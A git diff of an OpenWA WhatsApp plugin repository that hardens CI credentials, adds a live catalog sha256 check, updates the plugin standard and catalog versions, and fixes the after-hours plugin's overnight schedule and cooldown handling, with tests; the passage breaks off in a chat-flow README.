diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 01b8b75..0c66a2e 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -5,12 +5,26 @@ on: branches: [main] pull_request: branches: [main] + schedule: + # The catalog can rot without anyone pushing: a release asset deleted or a tag moved breaks installs + # while every commit stays green. Check it once a day. + - cron: '17 5 * * *' + workflow_dispatch: jobs: build: + if: github.event_name == 'push' || github.event_name == 'pull_request' runs-on: ubuntu-latest + # Nothing in this job reaches the repository through git or the API: it installs, type-checks, + # tests, packages and loads bundles. Without these two lines it inherits the repository default + # token scope and actions/checkout writes that token into .git/config, where the next step, + # `npm ci`, runs dependency lifecycle scripts (esbuild has a postinstall) with it on disk. + permissions: + contents: read steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + persist-credentials: false - uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0 with: node-version: 22 @@ -34,3 +48,25 @@ jobs: - name: Every built bundle loads as a plugin run: node scripts/loader-check.mjs + + # Proves the published catalog is actually installable: every `download` URL resolves and its bytes + # match the pinned sha256. `catalog:check` in the job above cannot see this, it only proves + # plugins.json is regenerable from the tree, so a version bump merged without its tags stays green + # there while every dashboard install 404s. + # + # Deliberately NOT run on pull_request: the PR that bumps versions is red until its tags are pushed, + # which is the correct order. This gate is what catches the tags never being pushed at all. + catalog-live: + if: github.event_name != 'pull_request' + runs-on: ubuntu-latest + permissions: + contents: read + steps: + - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + with: + persist-credentials: false + - uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0 + with: + node-version: 22 + - name: Every catalog download resolves and matches its sha256 pin + run: node scripts/catalog-live-check.mjs diff --git a/PLUGIN-STANDARD.md b/PLUGIN-STANDARD.md index 6ec46a8..c094532 100644 --- a/PLUGIN-STANDARD.md +++ b/PLUGIN-STANDARD.md @@ -77,7 +77,7 @@ plugin: - declares `sessionScoped` explicitly (`true` or `false`); - declares `testedOpenWAVersion` when `status` is `"stable"`; -- ships a `CHANGELOG.md` carrying a released `## [x.y.z] — YYYY-MM-DD` heading; +- ships a `CHANGELOG.md` carrying a released `## [x.y.z] - YYYY-MM-DD` heading; - has a `manifest.json` `version` equal to that heading's version. `catalog.mjs` only *warns* about i18n — a missing block, or a missing locale — but the test suite does @@ -240,8 +240,11 @@ correct plugins and were each learned the hard way. Re-verify against OpenWA cor fails the typecheck instead of at runtime. 2. **Hook handlers are bounded to ~5 s.** Never await slow work (HTTP calls, media processing) inside a hook: return `{ continue: true }` synchronously and float the promise - (`void handle().catch(log)`). The same applies to ingress handlers (see supabase-otp-hook's - fire-and-forget send). + (`void handle().catch(log)`). An ingress handler is bounded the same way, but floating the whole send + there hides a failure nobody else sees: the provider was acked before the handler ran, so a send that + rejects instantly is a lost message with no retry anywhere. Race it against a short deadline and throw + when the send loses (see supabase-otp-hook), which retries and dead-letters that delivery while a + merely slow send still finishes in the background. 3. **Hosts declared via config (`net.allowConfigHosts`) must be required, non-empty config** — the net gate reads the RAW `ctx.config`, so a **code-side** default host is invisible to the gate and every fetch silently no-ops. Fail fast in `readConfig` when the host field is empty. A **manifest** @@ -285,7 +288,8 @@ correct plugins and were each learned the hard way. Re-verify against OpenWA cor dedupe ids, and caps the result at 1 MiB). Treat a `webhook:before` subscription in a submitted plugin with the same scrutiny as an ingress route. 9. **Host bounds, none of them visible from the types:** 30 s per lifecycle phase; 30 s per capability - call, except the send verbs (`messages.sendText`, `messages.reply`, `conversations.send`) at 120 s; + call, except the send verbs (`ctx.messages.sendText`, `ctx.messages.reply`, `ctx.conversations.send`) + at 120 s; 5 s per ingress webhook dispatch and 5 s for `healthCheck`; 5 s per hook dispatch, after which the host fails **open** with `{ continue: true }` and discards your result; 32 concurrent capability calls per plugin (the 33rd throws); 16 concurrent `net.fetch` calls **globally** — that one is shared across all plugins and workers, not per plugin; 50 MiB storage; 10 MiB @@ -293,6 +297,18 @@ correct plugins and were each learned the hard way. Re-verify against OpenWA cor 10. **The worker is crash containment, not a security boundary** (core says so itself). Plugin code can `require('fs')`/`('net')`/`('child_process')`; what the worker actually buys you is a 256 MB heap ceiling and a crash that doesn't take the gateway down. Review submitted plugins accordingly. +11. **A non-empty `body` does not mean a human typed it.** A poll carries its question, a shared event + its name, a tapped business button its label, and a shared contact card its vCard. whatsapp-web.js + has always populated these; Baileys matched it in host 0.23.2, so it is now true on both engines. + A plugin that treats `body` as a command, a menu key, or prose to forward **must also gate on + `type`**, denying `contact` and `poll`. Two rules on that gate, both easy to get backwards: + - **Never deny `type === 'unknown'`.** Business button and list replies land there on both engines. + A tapped menu button is the most desirable input a menu bot can receive. + - **Never allowlist `type === 'text'`.** Media captions arrive in `body` under their own media + type (`image`, `video`, `document`), and reaching a matcher is intended behavior. + + `!body.trim()` is still the right guard for what carries no text at all: a sticker, a voice note, an + image sent without a caption. **Permissions** — the seven values the host enforces, and what each unlocks. `scripts/catalog.mjs` rejects a manifest declaring anything outside this set, so adopting a new one is a deliberate edit @@ -350,8 +366,9 @@ actually smoke-tested against. [Keep a Changelog](https://keepachangelog.com/en/1.0.0/) + [SemVer](https://semver.org/): -- An `## [Unreleased]` section at the top, then `## [MAJOR.MINOR.PATCH] — YYYY-MM-DD` headings in - descending order, with `### Added / Changed / Fixed / Removed / Security` subsections. +- An `## [Unreleased]` section at the top, then `## [MAJOR.MINOR.PATCH] - YYYY-MM-DD` headings in + descending order, with `### Added / Changed / Fixed / Removed / Security` subsections. Older entries + use a longer dash; `scripts/catalog.mjs` accepts either, so leave those as they are. - **The top released heading's version MUST equal `manifest.json`'s `version`** — enforced by `scripts/catalog.mjs --check` in CI. - SemVer: **MAJOR** = breaking change for operators, **MINOR** = new capability, **PATCH** = fixes. @@ -406,8 +423,11 @@ alongside uploads. | Script | What it does | | ------ | ------------ | | `node package.mjs ` | Validate manifest (required fields + `version` == top CHANGELOG heading), bundle to `dist/index.js`, zip to `.zip` with the built-in STORE writer (`scripts/zip-store.mjs` — no external `zip` CLI needed), print size + sha256. | +| `npm run build` | Run `node package.mjs` over every top-level directory that has a `manifest.json`, in one pass. | +| `npm run loader:check` | `require()` every built `dist/index.js` from outside the repo tree and assert it default-exports a constructible plugin. Run it after a build: nothing else here proves a bundle actually loads on the operator's gateway. | | `npm run catalog` | Regenerate `plugins.json`, the root README catalog table, and every plugin README **Details** block. | | `npm run catalog:check` | Same, in-memory; fail if the committed files are out of date, a version↔changelog drift exists, or a manifest gate fails (CI). | +| `npm run catalog:live` | Fetch every `download` URL in `plugins.json` and verify the bytes against its `#sha256=` pin, catching unpushed tags and stale digests that `catalog:check` cannot see. | | `npm test` | Run the full suite (`scripts/run-tests.mjs` auto-discovers every plugin dir by its `manifest.json`, plus `scripts/`) with `node --test` + `tsx`. | | `npm run test:coverage` | Same, with Node's built-in coverage report. | | `npm run typecheck` | `tsc --noEmit` over every `*/**/*.ts` (plugin dirs are not hardcoded). | diff --git a/README.md b/README.md index 5293aad..f53376b 100644 --- a/README.md +++ b/README.md @@ -34,16 +34,16 @@ This repository provides: | Plugin | Description | Version | Status | | ------ | ----------- | ------- | ------ | -| [`after-hours`](./after-hours) | Auto-replies with a configurable away/closing message to messages received outside business hours. | 0.2.5 | stable | -| [`chat-flow`](./chat-flow) | Interactive, stateful auto-reply: a trigger word starts a greeting + numbered menu, replies traverse a configurable menu tree, and per-chat state expires after 15 minutes. | 1.1.6 | stable | -| [`chatwoot-adapter`](./chatwoot-adapter) | Two-way sync between a WhatsApp session and a Chatwoot inbox: relays WhatsApp messages (1:1 and groups, with media) into Chatwoot as an API-channel inbox, sends agent replies back to WhatsApp, and hands a chat over to a human agent — silencing other OpenWA bots — when an agent takes it in Chatwoot. First consumer of the OpenWA Integration SDK v1; runs sandboxed in the plugin worker. | 0.9.5 | stable | -| [`faq-bot`](./faq-bot) | Auto-replies to inbound WhatsApp messages from configurable FAQ keyword/regex rules. | 0.2.5 | stable | -| [`group-translate`](./group-translate) | Auto-translates group messages between participants' languages via a LibreTranslate backend. Configure in-chat with /tr commands. Admin-gated; disabled until enabled. | 1.3.5 | stable | -| [`gsheets-logger`](./gsheets-logger) | Logs WhatsApp message events to a Google Sheet via a service account. | 0.3.7 | stable | -| [`http-action`](./http-action) | Triggers safe REST API requests from WhatsApp commands and renders JSON responses back to chat. | 0.2.6 | stable | -| [`supabase-otp-hook`](./supabase-otp-hook) | Deliver Supabase Auth phone OTPs over WhatsApp. | 0.3.4 | beta | -| [`typebot-connector`](./typebot-connector) | Runs a Typebot flow as the brain of a WhatsApp bot: inbound messages drive a Typebot chat session via the live Chat API, and the bot's replies — text, media, and numbered-choice inputs — are sent back to WhatsApp. Auto-starts every chat, handles file-upload steps, and resets when the flow ends or after an idle timeout. Runs sandboxed in the plugin worker; no public URL or webhook required. | 0.2.6 | stable | -| [`voice-transcription`](./voice-transcription) | Transcribes inbound WhatsApp voice notes to text via an OpenAI-compatible speech-to-text backend (self-hosted Speaches/faster-whisper or hosted Groq/OpenAI) and delivers a `message.transcription` event to your webhook — so bots and AI can read and reply to audio. Off the message-delivery path; disabled until enabled. | 1.2.7 | beta | +| [`after-hours`](./after-hours) | Auto-replies with a configurable away/closing message to messages received outside business hours. | 0.2.6 | stable | +| [`chat-flow`](./chat-flow) | Interactive, stateful auto-reply: a trigger word starts a greeting + numbered menu, replies traverse a configurable menu tree, and per-chat state expires after 15 minutes. | 1.1.7 | stable | +| [`chatwoot-adapter`](./chatwoot-adapter) | Two-way sync between a WhatsApp session and a Chatwoot inbox: relays WhatsApp messages (1:1 and groups, with media) into Chatwoot as an API-channel inbox, sends agent replies back to WhatsApp, and hands a chat over to a human agent — silencing other OpenWA bots — when an agent takes it in Chatwoot. First consumer of the OpenWA Integration SDK v1; runs sandboxed in the plugin worker. | 0.9.6 | stable | +| [`faq-bot`](./faq-bot) | Auto-replies to inbound WhatsApp messages from configurable FAQ keyword/regex rules. | 0.2.6 | stable | +| [`group-translate`](./group-translate) | Auto-translates group messages between participants' languages via a LibreTranslate backend. Configure in-chat with /tr commands. Admin-gated; disabled until enabled. | 1.3.6 | stable | +| [`gsheets-logger`](./gsheets-logger) | Logs WhatsApp message events to a Google Sheet via a service account. | 0.3.8 | stable | +| [`http-action`](./http-action) | Triggers safe REST API requests from WhatsApp commands and renders JSON responses back to chat. | 0.2.7 | stable | +| [`supabase-otp-hook`](./supabase-otp-hook) | Deliver Supabase Auth phone OTPs over WhatsApp. | 0.3.5 | beta | +| [`typebot-connector`](./typebot-connector) | Runs a Typebot flow as the brain of a WhatsApp bot: inbound messages drive a Typebot chat session via the live Chat API, and the bot's replies — text, media, and numbered-choice inputs — are sent back to WhatsApp. Auto-starts every chat, handles file-upload steps, and resets when the flow ends or after an idle timeout. Runs sandboxed in the plugin worker; no public URL or webhook required. | 0.2.7 | stable | +| [`voice-transcription`](./voice-transcription) | Transcribes inbound WhatsApp voice notes to text via an OpenAI-compatible speech-to-text backend (self-hosted Speaches/faster-whisper or hosted Groq/OpenAI) and delivers a `message.transcription` event to your webhook — so bots and AI can read and reply to audio. Off the message-delivery path; disabled until enabled. | 1.2.8 | beta | The table above is generated from each plugin's `manifest.json` + `CHANGELOG.md` by `npm run catalog` @@ -53,7 +53,8 @@ metadata standard every plugin follows. ## Per-session config support OpenWA's `sessionScoped` plugins (the default) may carry per-session config **overrides** set via the -dashboard — so two WhatsApp sessions under one plugin instance can run different settings. A plugin +dashboard or `PUT /api/plugins/:id/config/:sessionId` — so two WhatsApp sessions under one plugin +instance can run different settings. A plugin honors overrides only if it re-reads `ctx.config` inside its hook (not a cached snapshot from enable). The table below is the status for each plugin in this repo. See each plugin's README **Compatibility → Per-session config** for details and caveats. @@ -111,16 +112,23 @@ curl -X POST "https://your-openwa-host/api/plugins/gsheets-logger/enable" \ ### Management endpoints -All routes require an ADMIN role. +All routes require an ADMIN role. Every one of them also rejects a session-scoped API key outright, +except `PUT /api/plugins/:id/config/:sessionId`, which a scoped key may call. | Method & path | Purpose | | ------------- | ------- | | `GET /api/plugins` | List installed plugins and their status | +| `GET /api/plugins/catalog` | The remote catalog, annotated with what is already installed | | `GET /api/plugins/:id` | Inspect one plugin (config secrets redacted) | | `POST /api/plugins/install` | Upload and install a `.zip` (multipart field `file`) | +| `POST /api/plugins/install-url` | Install by downloading a `.zip` from a URL (SSRF-guarded, `#sha256=` pinned) | | `POST /api/plugins/:id/enable` | Run the plugin (`onLoad` → `onEnable`) | | `POST /api/plugins/:id/disable` | Stop the plugin and unregister its hooks | -| `PUT /api/plugins/:id/config` | Update config (`{ "config": { ... } }`); fires `onConfigChange` if enabled | +| `POST /api/plugins/:id/update` | Replace an installed plugin in place from a URL, keeping its config and enabled state | +| `PUT /api/plugins/:id/config` | Update the base config (`{ "config": { ... } }`); fires `onConfigChange` if enabled | +| `PUT /api/plugins/:id/config/:sessionId` | Set one session's config override, shallow-merged over the base; an empty object clears it | +| `PUT /api/plugins/:id/sessions` | Replace the whole set of sessions a session-scoped plugin is active for | +| `GET /api/plugins/:id/config-ui` | The plugin's sandboxed-iframe config editor, when it ships one | | `DELETE /api/plugins/:id` | Uninstall and remove files (built-ins are protected) | | `GET /api/plugins/:id/health` | Plugin-reported health check | @@ -209,7 +217,7 @@ React to activity with `ctx.registerHook(event, handler, priority?)`. Handlers a ### Capabilities -The `PluginContext` exposes a deliberately small surface. Every capability below with a permission in the last column is gated by `manifest.permissions` — calling one you didn't declare throws `PluginCapabilityError`, at the call rather than at load, so an undeclared capability fails mid-run and not at install. +The `PluginContext` exposes a deliberately small surface. Every permission in the last column except `webhook:ingress` is checked at the call: invoking a capability you didn't declare throws `PluginCapabilityError` mid-run, not at install. `webhook:ingress` is the exception, in both directions. Calling `ctx.registerWebhook` without it never throws and never logs: the host drops the subscription and the route simply never fires. But declaring `ingress` in the manifest without it is a hard load failure for the whole plugin, not just that route: install answers HTTP 400, and at boot the directory is skipped and the plugin comes up ERROR. | Capability | Methods | Permission | | ---------- | ------- | ---------- | diff --git a/after-hours/CHANGELOG.md b/after-hours/CHANGELOG.md index 3da1794..4af4c9e 100644 --- a/after-hours/CHANGELOG.md +++ b/after-hours/CHANGELOG.md @@ -8,6 +8,29 @@ The version here always matches `manifest.json`'s `version`. ## [Unreleased] +## [0.2.6] - 2026-08-25 + +### Fixed + +- **An overnight window now covers the following morning, not the same one.** A window such as + `22:00-06:00` under `mon` was read entirely out of the Monday entry, so the plugin stayed silent on + Monday morning, which nothing had declared open, and replied on Tuesday morning, which the Monday + window actually covers. A window belongs to the day it opens on. This supersedes the 0.2.2 note that + described an overnight window as open late and early on the same day. +- A blank `cooldownSec` falls back to the 3600s default instead of disabling the throttle. An empty + string became `0`, which is the documented "reply every time" value, so every after-hours message + from the same contact drew its own reply. + +### Added + +- A `healthCheck` reporting the live timezone and cooldown. It turns unhealthy when a config edit made + after enable fails validation: the plugin answers nothing in that state, and the host otherwise + reports a plugin with no health check as healthy. + +### Changed + +- **Verified against OpenWA v0.23.3** (testedOpenWAVersion 0.23.0 → 0.23.3). + ## [0.2.5] - 2026-08-20 ### Changed diff --git a/after-hours/README.md b/after-hours/README.md index 816c938..f710042 100644 --- a/after-hours/README.md +++ b/after-hours/README.md @@ -13,13 +13,13 @@ | Field | Value | | ----- | ----- | | **Identifier** | `after-hours` | -| **Version** | 0.2.5 | -| **Released** | 2026-08-20 | +| **Version** | 0.2.6 | +| **Released** | 2026-08-25 | | **Status** | stable | | **Author** | Yudhi Armyndharis | | **License** | MIT | | **Type** | `extension` | -| **Requires OpenWA** | ≥ 0.7.0 (tested 0.23.0) | +| **Requires OpenWA** | ≥ 0.7.0 (tested 0.23.3) | | **Keywords** | after-hours, business-hours, away, auto-reply, whatsapp, openwa | | **Repository** | [OpenWA-plugins/after-hours](https://github.com/rmyndharis/OpenWA-plugins/tree/main/after-hours) | @@ -33,19 +33,26 @@ `cooldownSec`, so a customer sending several after-hours messages isn't spammed. - **Direct-chat by default** — group chats are ignored unless `respondInGroups` is enabled. - **Least privilege** — declares only `messages:send`. -- **Fail-fast config** — a malformed schedule (bad day/time, `open >= close`, all-closed) or an unknown - timezone shows as `ERROR` in the dashboard rather than misbehaving silently. +- **Fail-fast config** — a malformed schedule (bad day/time, an open equal to its close, all-closed) or + an unknown timezone shows as `ERROR` in the dashboard rather than misbehaving silently. +- **Health check**: `GET /api/plugins/after-hours/health` reports the live timezone and cooldown, and + turns unhealthy when a config edit made after enable fails validation. The plugin answers nothing in + that state and nothing else surfaces it. ## Schedule `schedule` is a JSON object mapping `mon`..`sun` to a `"HH:MM-HH:MM"` window or `null` (closed); an -absent day is also closed. Times are 24-hour, `open < close` (same-day): +absent day is also closed. Times are 24-hour and local to `timezone`: ```json { "mon": "09:00-17:00", "tue": "09:00-17:00", "wed": "09:00-17:00", "thu": "09:00-17:00", "fri": "09:00-17:00", "sat": "09:00-13:00", "sun": null } ``` +A window belongs to the day it **opens** on, so `"22:00-06:00"` under `mon` runs from Monday 22:00 +until **Tuesday** 06:00. `"00:00-00:00"` means open all day; any other window whose open equals its +close is rejected. + ## Setup 1. Have OpenWA **≥ 0.7.0** running with a logged-in WhatsApp session. diff --git a/after-hours/index.test.ts b/after-hours/index.test.ts index 9f53aa1..507cf3f 100644 --- a/after-hours/index.test.ts +++ b/after-hours/index.test.ts @@ -234,6 +234,45 @@ test('a failed away reply is throttled, not retried on every message', async () // Regression: the backoff must not be expressible in terms of the CURRENT cooldown. Encoding it as a // rewound cooldown timestamp meant an operator lowering cooldownSec in the dashboard — config is re-read // per message — turned the stored value into "long past" and handed back the un-throttled retry storm. +test('a blank cooldownSec falls back to the default instead of disabling the throttle', () => { + // `Number('')` is 0, and 0 is the documented "reply every time" value, so a blank field silently + // turned the per-chat throttle off rather than defaulting to 3600. + const base = { schedule, awayMessage: 'closed' }; + assert.equal(parseConfig({ ...base }).config.cooldownSec, 3600, 'absent means default'); + assert.equal(parseConfig({ ...base, cooldownSec: '' }).config.cooldownSec, 3600, 'empty means default'); + assert.equal(parseConfig({ ...base, cooldownSec: ' ' }).config.cooldownSec, 3600, 'blank means default'); + // An explicit 0 is a real setting and must still disable the throttle. + assert.equal(parseConfig({ ...base, cooldownSec: 0 }).config.cooldownSec, 0, 'explicit 0 is honoured'); + assert.equal(parseConfig({ ...base, cooldownSec: '0' }).config.cooldownSec, 0, 'explicit "0" is honoured'); + assert.equal(parseConfig({ ...base, cooldownSec: 60 }).config.cooldownSec, 60); +}); + +test('healthCheck turns unhealthy when the live config stops parsing', async () => { + // The host reports a plugin with no healthCheck as healthy, so a config edit that fails validation + // after enable would leave the dashboard green while the plugin answered nothing at all. + const { default: AfterHours } = await import('./index.ts'); + let live: Record = { schedule, awayMessage: 'closed', timezone: 'Asia/Jakarta' }; + const ctx = { + get config() { + return live; + }, + logger: { log() {}, debug() {}, warn() {}, error() {} }, + messages: { reply: async () => ({ messageId: 'x', timestamp: 0 }) }, + registerHook: () => {}, + } as never; + + const plugin = new AfterHours(); + assert.equal((await plugin.healthCheck()).healthy, false, 'not enabled yet'); + + await plugin.onEnable(ctx); + const ok = await plugin.healthCheck(); + assert.equal(ok.healthy, true); + assert.match(ok.message ?? '', /Asia\/Jakarta/); + + live = { schedule: '{ not json', awayMessage: 'closed' }; + assert.equal((await plugin.healthCheck()).healthy, false, 'a config edit that stops parsing is surfaced'); +}); + test('lowering cooldownSec mid-backoff does not release the retry storm', async () => { const attempts: string[] = []; let handler: ((h: unknown) => Promise) | undefined; diff --git a/after-hours/index.ts b/after-hours/index.ts index bb7e833..75363bb 100644 --- a/after-hours/index.ts +++ b/after-hours/index.ts @@ -26,7 +26,11 @@ export function parseConfig(raw: Record): { config: AfterHoursC const timezone = String(raw.timezone ?? 'UTC') || 'UTC'; assertValidTimezone(timezone); - const cooldown = Number(raw.cooldownSec ?? 3600); + // `Number("")` is 0, and 0 is the documented "reply every time" value, so a blank cooldownSec (an + // empty or whitespace-only string, which the config REST API stores verbatim) silently disabled the + // throttle instead of falling back to the default. Blank means "not set", not zero. + const rawCooldown = typeof raw.cooldownSec === 'string' && !raw.cooldownSec.trim() ? undefined : raw.cooldownSec; + const cooldown = Number(rawCooldown ?? 3600); return { schedule, config: { @@ -53,6 +57,8 @@ const MAX_RETRY_ENTRIES = 5_000; const HOOK_PRIORITY = 95; export default class AfterHours implements IPlugin { + // Held for healthCheck(), which the host calls with no context of its own. + private ctx: PluginContext | null = null; private readonly repliedAt = new Map(); // Absolute "do not retry before" deadline per chat, set when a reply FAILS. Kept separately instead of // rewinding the cooldown timestamp: a rewind is only meaningful against the cooldown value it was @@ -62,6 +68,7 @@ export default class AfterHours implements IPlugin { private readonly retryNotBefore = new Map(); async onEnable(ctx: PluginContext): Promise { + this.ctx = ctx; parseConfig(ctx.config); // fail-fast: surface invalid config at enable, not per-message ctx.registerHook( 'message:received', @@ -74,6 +81,23 @@ export default class AfterHours implements IPlugin { parseConfig(ctx.config); // re-validate on change (fail-fast feedback in the dashboard) } + /** + * Reports on the BASE config: outside a hook the host resolves no per-session slice. A config edit + * that fails validation after enable is only logged (the host swallows onConfigChange's rejection), + * and every message then hits the same parse failure and is skipped. Without this the host answers + * "Plugin does not implement health check" with healthy:true, so the dashboard shows the plugin + * enabled and healthy while it answers nothing, indefinitely. + */ + async healthCheck(): Promise<{ healthy: boolean; message?: string }> { + if (!this.ctx) return { healthy: false, message: 'after-hours: not enabled' }; + try { + const { config } = parseConfig(this.ctx.config); + return { healthy: true, message: `after-hours: ${config.timezone}, cooldown ${config.cooldownSec}s` }; + } catch (e) { + return { healthy: false, message: e instanceof Error ? e.message : String(e) }; + } + } + // Returns true when this plugin sent the away message, so the hook can claim it and stop another bot // from answering the same thing. Every early exit — including a suppressed reply — means "not mine". private async onMessage(ctx: PluginContext, hook: HookContext): Promise { diff --git a/after-hours/manifest.json b/after-hours/manifest.json index 1245796..177b08c 100644 --- a/after-hours/manifest.json +++ b/after-hours/manifest.json @@ -1,7 +1,7 @@ { "id": "after-hours", "name": "After-Hours Auto-Reply", - "version": "0.2.5", + "version": "0.2.6", "type": "extension", "main": "dist/index.js", "description": "Auto-replies with a configurable away/closing message to messages received outside business hours.", @@ -19,7 +19,7 @@ ], "status": "stable", "minOpenWAVersion": "0.7.0", - "testedOpenWAVersion": "0.23.0", + "testedOpenWAVersion": "0.23.3", "provides": [ "auto-reply" ], diff --git a/after-hours/schedule.test.ts b/after-hours/schedule.test.ts index 45be0d6..10aee4c 100644 --- a/after-hours/schedule.test.ts +++ b/after-hours/schedule.test.ts @@ -57,10 +57,37 @@ test('an overnight window and an all-day window are accepted and honoured', () = // the whole schedule unparseable rather than just that day, and the comparison only understood a // window that opens and closes on the same date. const sch = parseSchedule(JSON.stringify({ mon: '22:00-06:00', wed: '00:00-00:00' })); + // 2026-08-10 is a Monday. A window belongs to the day it OPENS on, so `mon: 22:00-06:00` runs from + // Monday 22:00 until TUESDAY 06:00. Reading both halves out of the Monday entry made the plugin + // silent on Monday morning, which nothing declared open, and talkative on Tuesday morning, which the + // Monday window covers. const at = (d: number, h: number, m: number) => isAfterHours(new Date(Date.UTC(2026, 7, d, h, m)), sch, 'UTC'); - assert.equal(at(10, 23, 20), false, 'late evening is inside an overnight window'); - assert.equal(at(10, 5, 0), false, 'early morning is inside an overnight window'); + assert.equal(at(10, 23, 20), false, 'Monday late evening is inside the Monday window'); + assert.equal(at(11, 5, 0), false, 'Tuesday early morning is the Monday window spilling over'); + assert.equal(at(11, 6, 0), true, 'the window closes at 06:00, so Tuesday 06:00 is outside it'); + assert.equal(at(10, 5, 0), true, 'Monday morning is closed: Sunday declared no window to spill over'); assert.equal(at(10, 10, 0), true, 'mid-morning is outside it'); assert.equal(at(12, 3, 0), false, '00:00-00:00 is open all day'); + assert.equal(at(13, 3, 0), true, 'an all-day window ends at midnight and never spills into Thursday'); assert.throws(() => parseSchedule(JSON.stringify({ mon: '09:00-09:00' })), /use 00:00-00:00/); }); + +test('an overnight window spills across the Sunday-to-Monday week boundary', () => { + // The previous-day lookup indexes a 7-element array, so Monday's predecessor has to wrap to Sunday + // rather than fall off the front. + const sch = parseSchedule(JSON.stringify({ sun: '22:00-06:00' })); + const at = (d: number, h: number, m: number) => isAfterHours(new Date(Date.UTC(2026, 7, d, h, m)), sch, 'UTC'); + assert.equal(at(9, 23, 0), false, 'Sunday evening is inside the Sunday window'); + assert.equal(at(10, 5, 0), false, 'Monday morning is the Sunday window spilling over'); + assert.equal(at(10, 7, 0), true, 'Monday after 06:00 is closed'); +}); + +test('consecutive overnight windows cover the whole night, both days', () => { + // Two wrapped windows back to back: each morning is covered by the PREVIOUS day's entry, so a + // schedule of nothing but overnight shifts must have no closed gap at 03:00 on either day. + const sch = parseSchedule(JSON.stringify({ mon: '22:00-06:00', tue: '22:00-06:00' })); + const at = (d: number, h: number, m: number) => isAfterHours(new Date(Date.UTC(2026, 7, d, h, m)), sch, 'UTC'); + assert.equal(at(11, 3, 0), false, 'Tuesday 03:00 is covered by the Monday window'); + assert.equal(at(12, 3, 0), false, 'Wednesday 03:00 is covered by the Tuesday window'); + assert.equal(at(11, 12, 0), true, 'Tuesday midday sits between the two windows'); +}); diff --git a/after-hours/schedule.ts b/after-hours/schedule.ts index 9eedd07..2c17d61 100644 --- a/after-hours/schedule.ts +++ b/after-hours/schedule.ts @@ -65,6 +65,22 @@ export function assertValidTimezone(tz: string): void { } } +/** Minutes `w` covers on the weekday it OPENS on. A wrapped window contributes only its evening half. */ +function coversOnOpenDay(w: DayWindow | undefined, minutes: number): boolean { + if (!w) return false; + if (w.openMin === w.closeMin) return true; // "00:00-00:00" is open all day + if (w.openMin < w.closeMin) return minutes >= w.openMin && minutes < w.closeMin; + return minutes >= w.openMin; +} + +/** Minutes the PREVIOUS weekday's window carries into this one: a wrapped window's morning half. */ +function coversAsSpillover(w: DayWindow | undefined, minutes: number): boolean { + // Only a wrapped window spills over. "00:00-00:00" ends at midnight, and a normal window closes on + // the same day it opened. + if (!w || w.openMin <= w.closeMin) return false; + return minutes < w.closeMin; +} + /** True when `date` falls outside the schedule's window for its weekday in `timezone`. */ export function isAfterHours(date: Date, schedule: Schedule, timezone: string): boolean { const parts = new Intl.DateTimeFormat('en-US', { @@ -76,13 +92,12 @@ export function isAfterHours(date: Date, schedule: Schedule, timezone: string): }).formatToParts(date); const get = (type: string): string => parts.find(p => p.type === type)?.value ?? ''; const day = WEEKDAY_TO_KEY[get('weekday')]; + if (!day) return true; // an unmapped weekday, treated as closed const minutes = (Number(get('hour')) % 24) * 60 + Number(get('minute')); - const window = day ? schedule[day] : undefined; - if (!window) return true; // closed day (or an unmapped weekday — treat as closed) - // "00:00-00:00" means open all day. - if (window.openMin === window.closeMin) return false; - // A normal window opens and closes on the same day; a wrapped one ("22:00-06:00") opens in the - // evening and closes the next morning, so "inside" is late OR early rather than between. - if (window.openMin < window.closeMin) return minutes < window.openMin || minutes >= window.closeMin; - return minutes < window.openMin && minutes >= window.closeMin; + // A window belongs to the weekday it OPENS on, so "22:00-06:00" under `mon` is open on Monday evening + // and on TUESDAY morning. Reading both halves out of the `mon` entry left the plugin silent on Monday + // morning, which nothing had declared open, and replying on Tuesday morning, which the Monday window + // actually covers: wrong on both days, in opposite directions. + const yesterday = DAYS[(DAYS.indexOf(day) + 6) % 7]; // Sunday's previous day is Saturday + return !coversOnOpenDay(schedule[day], minutes) && !coversAsSpillover(schedule[yesterday], minutes); } diff --git a/chat-flow/CHANGELOG.md b/chat-flow/CHANGELOG.md index 436276c..cac7077 100644 --- a/chat-flow/CHANGELOG.md +++ b/chat-flow/CHANGELOG.md @@ -8,6 +8,29 @@ The version here always matches `manifest.json`'s `version`. ## [Unreleased] +## [1.1.7] - 2026-08-25 + +### Fixed + +- **Flow state is recorded before the message it describes is sent.** A storage write that failed after + the greeting had gone out left the flow unstarted, and with the documented empty `trigger` the next + message read as another first message and greeted again: one outbound WhatsApp message per inbound + message, uncapped. The same ordering now applies when advancing into a sub-menu, which previously + could show a menu the stored path had not moved to and then match the next answer a level up. +- **Debug logging no longer writes message content.** `Trigger check` logged the full trimmed body of + every inbound message, `Loaded state` logged the stored path (the options a contact had picked), and + `Input matched option` logged the input and the reply text. Release 1.1.3 removed one line of this + and left the rest. Raising `LOG_LEVEL` to debug no longer turns the plugin log into a transcript. + +- A shared contact card or a poll no longer starts the flow or draws "Invalid option". OpenWA 0.23.2 + fills the message body for both (a card carries its vCard, a poll its question), so a non-empty body + is no longer proof that someone typed at the menu. Business button and list replies are still + accepted, and a captioned image still reaches the menu as before. + +### Changed + +- **Verified against OpenWA v0.23.3** (testedOpenWAVersion 0.23.0 → 0.23.3). + ## [1.1.6] - 2026-08-20 ### Changed diff --git a/chat-flow/README.md b/chat-flow/README.md index 684beb7..bebdc11 100644 --- a/chat-flow/README.md +++ b/chat-flow/README.md @@ -14,13 +14,13 @@ | Field | Value | | ----- | ----- | | **Identifier** | `chat-flow` | -| **Version** | 1.1.6 | -| **Released** | 2026-08-20 | +| **Version** | 1.1.7 | +| **Released** | 2026-08-25 | | **Status** | stable | | **Author** | Yudhi Armyndharis | | **License** | MIT | | **Type** | `extension` | -| **Requires OpenWA** | ≥ 0.7.0 (tested 0.23.0) | +| **Requires OpenWA** | ≥ 0.7.0 (tested 0.23.3) | | **Keywords** | menu, flow, interactive, auto-reply, chatbot, whatsapp, openwa | | **Repository** | [OpenWA-plugins/chat-flow](https://github.com/rmyndharis/OpenWA-plugins/tree/main/chat-flow) | @@ -109,6 +109,11 @@ Targets OpenWA **≥ 0.7.0** — relies 